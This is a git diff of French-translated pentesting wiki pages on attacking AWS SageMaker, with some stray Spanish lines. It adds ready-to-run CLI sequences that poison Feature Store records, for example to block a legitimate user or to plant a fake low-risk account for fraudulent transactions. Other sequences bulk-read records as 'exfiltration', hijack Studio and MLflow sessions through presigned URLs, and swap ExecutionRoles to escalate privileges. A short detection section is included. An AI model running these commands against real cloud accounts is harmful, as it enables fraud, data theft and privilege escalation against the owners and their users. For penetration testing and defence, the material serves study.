diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
index f598d5902..782a68ad3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -1,50 +1,160 @@
 # SageMaker Feature Store online store poisoning
 
-Exploiter `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de feature en direct utilisées par l'inférence en ligne. Associé à `sagemaker:GetRecord`, un attaquant peut lire des features sensibles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints.
+Exploiter `sagemaker:PutRecord` sur un Feature Group avec OnlineStore activé pour écraser les valeurs de features en direct utilisées par les inférences en temps réel. Combiné avec `sagemaker:GetRecord`, un attaquant peut lire des features sensibles et exfiltrer des données ML confidentielles. Cela ne nécessite pas d'accès aux modèles ou aux endpoints, ce qui en fait une attaque directe au niveau des données.
 
-## Prérequis
-- Permissions : `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
-- Cible : Feature Group avec OnlineStore activé (typiquement utilisé pour l'inférence en temps réel)
+## Exigences
+- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Cible: Feature Group with OnlineStore enabled (typically backing real-time inference)
+- Complexité: **FAIBLE** - Commandes AWS CLI simples, aucune manipulation de modèle requise
 
 ## Étapes
-1) Choisir ou créer un petit Online Feature Group pour les tests
+
+### Reconnaissance
+
+1) Lister les Feature Groups avec OnlineStore activé
+```bash
+REGION=${REGION:-us-east-1}
+aws sagemaker list-feature-groups \
+--region $REGION \
+--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
+--output table
+```
+2) Décrivez le Feature Group cible pour comprendre son schéma
+```bash
+FG=<feature-group-name>
+aws sagemaker describe-feature-group \
+--region $REGION \
+--feature-group-name "$FG"
+```
+Notez les `RecordIdentifierFeatureName`, `EventTimeFeatureName` et toutes les définitions de features. Celles-ci sont nécessaires pour composer des enregistrements valides.
+
+### Scénario d'attaque 1: Data Poisoning (Overwrite Existing Records)
+
+1) Lire l'enregistrement légitime actuel
+```bash
+aws sagemaker-featurestore-runtime get-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-value-as-string user-001
+```
+2) Empoisonner l'enregistrement avec des valeurs malveillantes en utilisant le paramètre inline `--record`
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+
+# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
+aws sagemaker-featurestore-runtime put-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record "[
+{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
+{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
+{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
+{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
+{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
+]" \
+--target-stores OnlineStore
+```
+3) Vérifier les données empoisonnées
+```bash
+aws sagemaker-featurestore-runtime get-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-value-as-string user-001
+```
+**Impact**: Les modèles ML consommant cette feature verront désormais `risk_score=0.99` pour un utilisateur légitime, ce qui pourrait bloquer ses transactions ou services.
+
+### Scénario d'attaque 2 : Injection de données malveillantes (Création d'enregistrements frauduleux)
+
+Injecter de nouveaux enregistrements entièrement créés avec des features manipulées pour contourner les contrôles de sécurité :
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+
+# Create fake user with artificially low risk to perform fraudulent transactions
+aws sagemaker-featurestore-runtime put-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record "[
+{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
+{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
+{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
+{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
+{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
+]" \
+--target-stores OnlineStore
+```
+Vérifier l'injection :
+```bash
+aws sagemaker-featurestore-runtime get-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-value-as-string user-999
+```
+**Impact** : Un attaquant crée une identité fictive avec un score de risque faible (0,01) qui peut effectuer des transactions frauduleuses de grande valeur sans déclencher la détection de fraude.
+
+### Scénario d'attaque 3 : Exfiltration de données sensibles
+
+Lire plusieurs enregistrements pour extraire des caractéristiques confidentielles et profiler le comportement du modèle :
+```bash
+# Exfiltrate data for known users
+for USER_ID in user-001 user-002 user-003 user-999; do
+echo "Exfiltrating data for ${USER_ID}:"
+aws sagemaker-featurestore-runtime get-record \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-value-as-string ${USER_ID}
+done
+```
+**Impact**: Caractéristiques confidentielles (scores de risque, motifs de transaction, données personnelles) exposées à un attaquant.
+
+### Création d'un Feature Group de test/démo (Optionnel)
+
+Si vous devez créer un Feature Group de test :
 ```bash
 REGION=${REGION:-us-east-1}
 FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
 if [ -z "$FG" -o "$FG" = "None" ]; then
 ACC=$(aws sts get-caller-identity --query Account --output text)
-FG=ht-fg-$ACC-$(date +%s)
+FG=test-fg-$ACC-$(date +%s)
 ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
-aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+
+aws sagemaker create-feature-group \
+--region $REGION \
+--feature-group-name "$FG" \
+--record-identifier-feature-name entity_id \
+--event-time-feature-name event_time \
+--feature-definitions "[
+{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
+{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
+{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
+{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
+{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
+]" \
+--online-store-config "{\"EnableOnlineStore\":true}" \
+--role-arn "$ROLE_ARN"
+
 echo "Waiting for feature group to be in Created state..."
 for i in $(seq 1 40); do
 ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
-echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
 done
 fi
-```
-2) Insérer/écraser un enregistrement en ligne (poison)
-```bash
-NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
-cat > /tmp/put.json << JSON
-{
-"FeatureGroupName": "$FG",
-"Record": [
-{"FeatureName": "entity_id", "ValueAsString": "user-123"},
-{"FeatureName": "event_time", "ValueAsString": "$NOW"},
-{"FeatureName": "risk_score", "ValueAsString": "0.99"}
-],
-"TargetStores": ["OnlineStore"]
-}
-JSON
-aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
-```
-3) Relire l'enregistrement pour confirmer la manipulation
-```bash
-aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
-```
-Résultat attendu : risk_score renvoie 0,99 (défini par l'attaquant), prouvant la capacité à modifier des features en ligne consommées par les modèles.
 
-## Impact
-- Attaque d'intégrité en temps réel : manipuler les features utilisées par les modèles en production sans toucher les points de terminaison/modèles.
-- Risque de confidentialité : lire des features sensibles via GetRecord depuis OnlineStore.
+echo "Feature Group ready: $FG"
+```
+## Détection
+
+Surveillez CloudTrail pour des comportements suspects :
+- `PutRecord` events from unusual IAM principals or IP addresses
+- Appels `PutRecord` ou `GetRecord` à haute fréquence
+- `PutRecord` avec des valeurs de caractéristique anormales (par ex., risk_score en dehors de la plage normale)
+- Opérations massives `GetRecord` indiquant une exfiltration de masse
+- Accès en dehors des heures ouvrables normales ou depuis des emplacements inattendus
+
+Mettez en place une détection d'anomalies :
+- Validation des valeurs de caractéristique (par ex., risk_score doit être entre 0.0 et 1.0)
+- Analyse des motifs d'écriture (fréquence, moment, identité de la source)
+- Détection de dérive des données (changements soudains dans les distributions des caractéristiques)
+
+## References
+- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
+- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
index dc0b392c4..f86438509 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md
@@ -6,34 +6,117 @@
 
 ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
 
-Commencez par créer un notebook en attachant le rôle IAM qui permettra d'y accéder :
+Commencez par créer un notebook avec le rôle IAM attaché :
 ```bash
 aws sagemaker create-notebook-instance --notebook-instance-name example \
 --instance-type ml.t2.medium \
 --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
 ```
-La réponse doit contenir un champ `NotebookInstanceArn`, qui contiendra l'ARN de l'instance de notebook nouvellement créée. Nous pouvons ensuite utiliser l'API `create-presigned-notebook-instance-url` pour générer une URL que nous pourrons utiliser pour accéder à l'instance de notebook une fois qu'elle sera prête :
+La réponse doit contenir un champ `NotebookInstanceArn`, qui contiendra l'ARN de la notebook instance nouvellement créée. Nous pouvons ensuite utiliser l'API `create-presigned-notebook-instance-url` pour générer une URL que nous pourrons utiliser pour accéder à la notebook instance une fois qu'elle sera prête :
 ```bash
 aws sagemaker create-presigned-notebook-instance-url \
 --notebook-instance-name <name>
 ```
-Accédez à l'URL avec le navigateur et cliquez sur `Open JupyterLab`` en haut à droite, puis descendez jusqu'à l'onglet “Launcher” et, dans la section “Other”, cliquez sur le bouton “Terminal”.
+Naviguez vers l'URL avec le navigateur et cliquez sur `Open JupyterLab`` en haut à droite, puis faites défiler jusqu'à l'onglet “Launcher” et, dans la section “Other”, cliquez sur le bouton “Terminal”.
 
-Il est maintenant possible d'accéder aux identifiants des métadonnées du rôle IAM.
+Il est maintenant possible d'accéder aux metadata credentials du IAM Role.
 
-**Impact potentiel :** Privesc sur le rôle de service sagemaker spécifié.
+**Impact potentiel :** Privesc to the sagemaker service role specified.
 
 ### `sagemaker:CreatePresignedNotebookInstanceUrl`
 
-S'il y a des Jupyter **notebooks déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir d'une autre manière). Vous pouvez **générer une URL pour eux, y accéder et voler les identifiants comme indiqué dans la technique précédente**.
+Si des Jupyter **notebooks sont déjà en cours d'exécution** dessus et que vous pouvez les lister avec `sagemaker:ListNotebookInstances` (ou les découvrir d'une autre manière). Vous pouvez **générer une URL pour eux, y accéder, et voler les credentials comme indiqué dans la technique précédente**.
 ```bash
 aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
 ```
-**Impact potentiel :** Privesc au rôle de service sagemaker attaché.
+**Impact potentiel :** Privesc vers le rôle de service sagemaker attaché.
+
+
+## `sagemaker:CreatePresignedDomainUrl`
+
+> [!WARNING]
+> Cette attaque ne fonctionne que sur les anciens domaines traditionnels SageMaker Studio, pas sur ceux créés par SageMaker Unified Studio. Les domaines provenant de Unified Studio renverront l'erreur : "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
+
+Une identité disposant de l'autorisation d'appeler `sagemaker:CreatePresignedDomainUrl` sur un `UserProfile` cible peut générer une URL de connexion qui authentifie directement dans SageMaker Studio en tant que ce profil. Cela donne au navigateur de l'attaquant une session Studio qui hérite des permissions du `ExecutionRole` du profil et un accès complet au répertoire personnel du profil monté sur EFS et à ses applications. Aucune `iam:PassRole` ni accès console n'est requis.
+
+**Exigences**:
+- Un SageMaker Studio `Domain` et un `UserProfile` cible à l'intérieur de celui-ci.
+- Le principal attaquant a besoin de `sagemaker:CreatePresignedDomainUrl` sur le `UserProfile` cible (au niveau ressource) ou `*`.
+
+Exemple minimal de policy (restreinte à un seul UserProfile) :
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedDomainUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
+}
+]
+}
+```
+**Étapes d'abus**:
+
+1) Enumerate un Studio Domain et des UserProfiles que vous pouvez cibler
+```bash
+DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
+aws sagemaker list-user-profiles --domain-id-equals $DOM
+TARGET_USER=<UserProfileName>
+```
+2) Vérifiez que unified studio n'est pas utilisé (attack fonctionne uniquement sur les domaines SageMaker Studio traditionnels)
+```bash
+aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
+# If you get info about unified studio, this attack won't work
+```
+3) Générer une presigned URL (valide ~5 minutes par défaut)
+```bash
+aws sagemaker create-presigned-domain-url \
+--domain-id $DOM \
+--user-profile-name $TARGET_USER \
+--query AuthorizedUrl --output text
+```
+4) Ouvrez l'URL renvoyée dans un navigateur pour vous connecter à Studio en tant qu'utilisateur cible. Dans un terminal Jupyter à l'intérieur de Studio, vérifiez l'identité effective ou exfiltrate the token:
+```bash
+aws sts get-caller-identity
+```
+Notes:
+- `--landing-uri` peut être omis. Certaines valeurs (par ex., `app:JupyterLab:/lab`) peuvent être rejetées selon la flavor/version de Studio ; les valeurs par défaut redirigent généralement vers la page d’accueil de Studio puis vers Jupyter.
+- Les politiques d’entreprise/restrictions des endpoints VPC peuvent toujours bloquer l’accès réseau ; l’émission du token ne nécessite pas de connexion à la console ni `iam:PassRole`.
+
+**Impact potentiel** : Mouvement latéral et escalade de privilèges en assumant n’importe quel Studio `UserProfile` dont l’ARN est autorisé, en héritant de son `ExecutionRole` et de son système de fichiers/apps.
+
+
+### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
+
+Une identité ayant la permission d’appeler `sagemaker:CreatePresignedMlflowTrackingServerUrl` (et `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` pour l’accès ultérieur) pour une cible SageMaker MLflow Tracking Server peut générer une URL présignée à usage unique qui authentifie directement l’utilisateur auprès de l’UI gérée MLflow pour ce serveur. Cela accorde le même accès qu’un utilisateur légitime (voir/créer des experiments et des runs, et télécharger/téléverser des artifacts dans le magasin d’artifacts S3 du serveur).
+
+**Prérequis :**
+- Un SageMaker MLflow Tracking Server dans le compte/région et son nom.
+- Le principal attaquant doit avoir `sagemaker:CreatePresignedMlflowTrackingServerUrl` sur la ressource MLflow Tracking Server cible (ou `*`).
+
+**Étapes d’abus** :
+
+1) Énumérez les MLflow Tracking Servers que vous pouvez cibler et choisissez-en un nom
+```bash
+aws sagemaker list-mlflow-tracking-servers \
+--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
+TS_NAME=<tracking-server-name>
+```
+2) Générer une URL MLflow UI pré-signée (valide pendant une courte période)
+```bash
+aws sagemaker create-presigned-mlflow-tracking-server-url \
+--tracking-server-name "$TS_NAME" \
+--query AuthorizedUrl --output text
+```
+3) Ouvrez l'URL retournée dans un navigateur pour accéder à la MLflow UI en tant qu'utilisateur authentifié pour ce Tracking Server.
+
+**Impact potentiel :** Accès direct à la MLflow UI gérée pour le Tracking Server ciblé, permettant la consultation et la modification des expériences/exécutions et la récupération ou le téléversement d'artefacts stockés dans le S3 artifact store configuré du serveur, dans les limites des permissions appliquées par la configuration du serveur.
+
 
 ### `sagemaker:CreateProcessingJob`, `iam:PassRole`
 
-Un attaquant disposant de ces autorisations peut faire **SageMaker exécuter un processing job** avec un rôle SageMaker attaché à celui-ci. En réutilisant l'un des AWS Deep Learning Containers qui incluent déjà Python (et en exécutant le job dans la même région que l'URI), il peut lancer du code inline sans construire ses propres images :
+Un attaquant disposant de ces permissions peut faire en sorte que **SageMaker exécute un processing job** avec un rôle SageMaker attaché. En réutilisant l'un des AWS Deep Learning Containers qui incluent déjà Python (et en exécutant le job dans la même région que l'URI), il peut lancer du code en ligne sans construire ses propres images :
 ```bash
 REGION=<region>
 ROLE_ARN=<sagemaker-arn-role>
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
 
 # Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
 ```
-**Impact potentiel :** Privesc vers le rôle de service sagemaker spécifié.
+**Impact potentiel :** Privesc vers le sagemaker service role spécifié.
 
 ### `sagemaker:CreateTrainingJob`, `iam:PassRole`
 
-Un attacker disposant de ces permissions peut lancer un training job qui exécute du code arbitraire avec le rôle indiqué. En utilisant un conteneur officiel de SageMaker et en réécrivant l'entrypoint avec un payload inline, vous n'avez pas besoin de construire vos propres images :
+Un attaquant disposant de ces permissions peut lancer un training job qui exécute du code arbitraire avec le rôle indiqué. En utilisant un conteneur officiel de SageMaker et en écrasant l'entrypoint avec un payload inline, vous n'avez pas besoin de construire vos propres images :
 ```bash
 REGION=<region>
 ROLE_ARN=<sagemaker-role-to-abuse>
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
 
 # El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
 ```
-**Impact potentiel :** Privesc au rôle de service SageMaker spécifié.
+**Impact potentiel :** Privesc vers le rôle de service SageMaker spécifié.
 
 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
 
-Un attaquant disposant de ces autorisations peut lancer un HyperParameter Tuning Job qui exécute du code contrôlé par l'attaquant sous le rôle fourni. Le mode Script nécessite d'héberger le payload dans S3, mais toutes les étapes peuvent être automatisées depuis la CLI :
+Un attacker disposant de ces permissions peut lancer un HyperParameter Tuning Job qui exécute du code contrôlé par l'attacker sous le rôle fourni. Le mode script nécessite d'héberger le payload dans S3, mais toutes les étapes peuvent être automatisées depuis la CLI:
 ```bash
 REGION=<region>
 ROLE_ARN=<sagemaker-role-to-abuse>
@@ -183,28 +266,29 @@ aws sagemaker create-hyper-parameter-tuning-job \
 --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
 --training-job-definition file:///tmp/hpo-definition.json
 ```
-Chaque entraînement lancé par le processus affiche la métrique et exfiltre les identifiants du rôle indiqué.
+Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
 
 
-### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
+### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
 
-Priorité d'ExecutionRole :
+Avec l'autorisation de mettre à jour un SageMaker Studio User Profile, de créer une app, une URL présignée vers l'app et `iam:PassRole`, un attaquant peut définir le `ExecutionRole` sur n'importe quel rôle IAM que le service principal SageMaker peut assumer. Les nouvelles apps Studio lancées pour ce profil s'exécuteront avec le rôle échangé, offrant des permissions élevées interactives via des terminaux Jupyter ou des jobs lancés depuis Studio.
 
-- `UserProfile` écrase toute valeur. Si un profil définit `ExecutionRole`, Studio utilisera toujours ce rôle.
-- `Space` s'applique uniquement lorsque le profil n'a pas de rôle propre ; sinon, celui du profil prévaut.
-- `Domain DefaultUserSettings` agit comme recours ultime lorsque ni le profil ni l'espace ne définissent un rôle.
+> [!WARNING]
+> Cette attaque nécessite qu'il n'y ait aucune application dans le profil, sinon la création de l'app échouera avec une erreur similaire à : `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
+> S'il existe des applications, vous aurez besoin de la permission `sagemaker:DeleteApp` pour les supprimer d'abord.
 
-Si un attaquant dispose des autorisations pour mettre à jour un SageMaker Studio User Profile (ou Space/Domain), il peut définir le `ExecutionRole` sur n'importe quel rôle IAM que le SageMaker service principal peut assumer. Contrairement aux APIs de création de jobs, les APIs de mise à jour de profil Studio n'exigent pas `iam:PassRole`. Les nouvelles apps Studio lancées pour ce profil s'exécuteront avec le rôle échangé, offrant des privilèges interactifs élevés via les terminaux Jupyter ou les jobs lancés depuis Studio.
-
-Étapes :
+Étapes:
 ```bash
-# 1) List Studio user profiles and pick a target
+# 1) List Studio domains and pick a target
+aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
+
+# 2) List Studio user profiles and pick a target
 aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
 
 # Choose a more-privileged role that already trusts sagemaker.amazonaws.com
 ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
 
-# 2) Update the Studio profile to use the new role (no iam:PassRole)
+# 3) Update the Studio profile to use the new role (no iam:PassRole)
 aws sagemaker update-user-profile \
 --domain-id <DOMAIN_ID> \
 --user-profile-name <USER> \
@@ -215,18 +299,59 @@ aws sagemaker describe-user-profile \
 --user-profile-name <USER> \
 --query 'UserSettings.ExecutionRole' --output text
 
-# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
-aws sagemaker update-space \
---domain-id <DOMAIN_ID> \
---space-name <SPACE> \
---space-settings ExecutionRole=$ROLE_ARN
+# 3.1) Optional if you need to delete existing apps first
+# List existing apps
+aws sagemaker list-apps \
+--domain-id-equals <DOMAIN_ID>
 
-aws sagemaker describe-space \
+# Delete an app
+aws sagemaker delete-app \
 --domain-id <DOMAIN_ID> \
---space-name <SPACE> \
---query 'SpaceSettings.ExecutionRole' --output text
+--user-profile-name <USER> \
+--app-type JupyterServer \
+--app-name <APP_NAME>
 
-# 4) Optionally, change the domain default so every profile inherits the new role
+# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
+aws sagemaker create-app \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--app-type JupyterServer \
+--app-name <APP_NAME>
+
+
+# 5) Generate a presigned URL to access Studio with the new domain default role
+aws sagemaker create-presigned-domain-url \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query AuthorizedUrl --output text
+
+# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
+#    aws sts get-caller-identity
+#    (should show the high-privilege role from domain defaults)
+
+```
+**Impact potentiel** : Élévation de privilèges aux permissions du rôle d'exécution SageMaker spécifié pour les sessions Studio interactives.
+
+
+### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
+
+Avec les permissions permettant de mettre à jour un SageMaker Studio Domain, de créer une app, une URL présignée pour l'app, et `iam:PassRole`, un attaquant peut définir le `ExecutionRole` par défaut du domaine sur n'importe quel rôle IAM que le service principal SageMaker peut assumer. Les nouvelles apps Studio lancées pour ce profil s'exécuteront avec le rôle échangé, offrant des permissions élevées interactives via des terminaux Jupyter ou des jobs lancés depuis Studio.
+
+> [!WARNING]
+> Cette attaque nécessite qu'il n'y ait aucune application dans le domaine, sinon la création de l'app échouera avec l'erreur : `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
+
+Étapes:
+```bash
+# 1) List Studio domains and pick a target
+aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
+
+# 2) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
+
+# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
+ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
+
+# 3) Change the domain default so every profile inherits the new role
 aws sagemaker update-domain \
 --domain-id <DOMAIN_ID> \
 --default-user-settings ExecutionRole=$ROLE_ARN
@@ -235,21 +360,86 @@ aws sagemaker describe-domain \
 --domain-id <DOMAIN_ID> \
 --query 'DefaultUserSettings.ExecutionRole' --output text
 
-# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
-aws sagemaker create-app \
+# 3.1) Optional if you need to delete existing apps first
+# List existing apps
+aws sagemaker list-apps \
+--domain-id-equals <DOMAIN_ID>
+
+# Delete an app
+aws sagemaker delete-app \
 --domain-id <DOMAIN_ID> \
 --user-profile-name <USER> \
 --app-type JupyterServer \
---app-name js-atk
+--app-name <APP_NAME>
 
-# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
-#    aws sts get-caller-identity  # should reflect the new ExecutionRole
+# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
+aws sagemaker create-app \
+--domain-id <DOMAIN_ID> \
+--app-type JupyterServer \
+--app-name js-domain-escalated
+
+# 5) Generate a presigned URL to access Studio with the new domain default role
 aws sagemaker create-presigned-domain-url \
 --domain-id <DOMAIN_ID> \
 --user-profile-name <USER> \
 --query AuthorizedUrl --output text
+
+# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
+#    aws sts get-caller-identity
+#    (should show the high-privilege role from domain defaults)
 ```
-**Impact potentiel**: Privilege escalation aux permissions du rôle d'exécution SageMaker spécifié pour les sessions interactives Studio.
+**Impact potentiel** : Escalade de privilèges vers les autorisations du rôle d'exécution SageMaker spécifié pour les sessions interactives de Studio.
+
+### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
+
+Un attaquant disposant de l'autorisation de créer une app SageMaker Studio pour un UserProfile ciblé peut lancer une JupyterServer app qui s'exécute avec le `ExecutionRole` du profil. Cela fournit un accès interactif aux autorisations du rôle via les terminaux Jupyter ou les jobs lancés depuis Studio.
+
+Étapes :
+```bash
+# 1) List Studio domains and pick a target
+aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
+
+# 2) List Studio user profiles and pick a target
+aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
+
+# 3) Create a JupyterServer app for the user profile
+aws sagemaker create-app \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--app-type JupyterServer \
+--app-name js-privesc
+
+# 4) Generate a presigned URL to access Studio
+aws sagemaker create-presigned-domain-url \
+--domain-id <DOMAIN_ID> \
+--user-profile-name <USER> \
+--query AuthorizedUrl --output text
+
+# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
+#    aws sts get-caller-identity
+```
+**Impact potentiel**: Accès interactif au rôle d'exécution SageMaker attaché au UserProfile cible.
+
+
+### `iam:GetUser`, `datazone:CreateUserProfile`
+
+Un attaquant disposant de ces permissions peut permettre à un IAM user d'accéder à un Sagemaker Unified Studio Domain en créant un DataZone User Profile pour cet utilisateur.
+```bash
+# List domains
+aws datazone list-domains --region us-east-1 \
+--query "items[].{Id:id,Name:name}" \
+--output json
+
+# Add IAM user as a user of the domain
+aws datazone create-user-profile \
+--region us-east-1 \
+--domain-identifier <domain-id> \
+--user-identifier <arn-user> \
+--user-type IAM_USER
+```
+L'URL du Unified Domain a le format suivant : `https://<domain-id>.sagemaker.<region>.on.aws/` (p. ex. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
+
+**Impact potentiel :** Accès au Sagemaker Unified Studio Domain en tant qu'utilisateur, permettant d'accéder à toutes les ressources du domaine Sagemaker et même d'escalader les privilèges vers le rôle utilisé par les notebooks présents dans le Sagemaker Unified Studio Domain.
 
 ## Références
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
index 9f629d3b1..709b4b1d3 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
@@ -1,32 +1,32 @@
-# AWS - SageMaker Enum
+# AWS - SageMaker Enumération
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Service Overview
+## Présentation du service
 
